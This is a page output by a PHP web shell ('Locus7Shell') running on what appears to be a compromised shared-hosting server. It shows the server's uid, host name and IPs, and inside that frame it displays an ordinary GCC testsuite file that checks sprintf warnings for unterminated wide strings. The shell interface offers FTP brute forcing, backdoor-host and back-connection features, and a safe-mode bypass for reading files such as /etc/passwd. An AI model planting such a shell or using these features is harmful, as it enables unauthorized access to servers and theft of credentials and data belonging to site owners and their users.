Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     warn-sprintf-no-nul-3.c (2.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/87756 - missing unterminated argument warning
   using address of a constant character
   { dg-do compile }
   { dg-options "-O2 -Wall -ftrack-macro-expansion=0" } */

typedef __WCHAR_TYPE__ wchar_t;

int sprintf (char*, const char*, ...);

extern char* dest (void);
extern void sink (int, ...);

#define D dest ()
#define T(expr)   sink (0, (expr))

const wchar_t wnul = L'\0';
const wchar_t wnonul = L'a';
const wchar_t wcs3[] = L"123";

const struct
{
  wchar_t a, b, s[3];
} w1 = { L'\0', L'b', L"123" },
  w2[2] = {
  { L'\0', L'c', L"12" },
  { L'd', L'\0', L"123" }
  };

void test_sprintf_ls (void)
{
  T (sprintf (D, "%ls", &wnul));
  T (sprintf (D, "%ls", &wnonul));      /* { dg-warning "nul-terminated" } */
  T (sprintf (D, "%.1ls", &wnonul));
  T (sprintf (D, "%.2ls", &wnonul));    /* { dg-warning "nul-terminated" } */

  T (sprintf (D, "%ls", &w1.a));
  T (sprintf (D, "%ls", &w1.b));        /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%.1ls", &w1.b));
  T (sprintf (D, "%.2ls", &w1.b));      /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%ls", w1.s));         /* { dg-warning "nul-terminated" } */
  T (sprintf (D, "%.3ls", w1.s));
  T (sprintf (D, "%.4ls", w1.s));       /* { dg-warning "nul-terminated" } */

  T (sprintf (D, "%.2ls", w1.s + 1));
  T (sprintf (D, "%.3ls", w1.s + 1));   /* { dg-warning "nul-terminated" } */

  T (sprintf (D, "%ls", &w2[0].a));
  T (sprintf (D, "%ls", &w2[0].b));     /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%.1ls", &w2[0].b));
  T (sprintf (D, "%.2ls", &w2[0].b));   /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%ls", w2[0].s));
  T (sprintf (D, "%.3ls", w2[0].s));
  T (sprintf (D, "%.4ls", w2[0].s));

  T (sprintf (D, "%.2ls", w2[0].s + 1));
  T (sprintf (D, "%.3ls", w2[0].s + 1));

  T (sprintf (D, "%ls", &w2[1].a));     /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%.1ls", &w2[1].a));
  T (sprintf (D, "%.2ls", &w2[1].a));   /* { dg-warning "nul-terminated" "pr88211" { xfail *-*-* } } */
  T (sprintf (D, "%ls", &w2[1].b));
  T (sprintf (D, "%ls", w2[1].s));      /* { dg-warning "nul-terminated" } */
  T (sprintf (D, "%.3ls", w2[1].s));
  T (sprintf (D, "%.4ls", w2[1].s));    /* { dg-warning "nul-terminated" } */

  T (sprintf (D, "%.2ls", w2[1].s + 1));
  T (sprintf (D, "%.3ls", w2[1].s + 1));/* { dg-warning "nul-terminated" } */

  T (sprintf (D, "%ls", &wcs3[3]));
  T (sprintf (D, "%ls", &wcs3[4]));     /* { dg-warning "\\\[-Warray-bounds" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--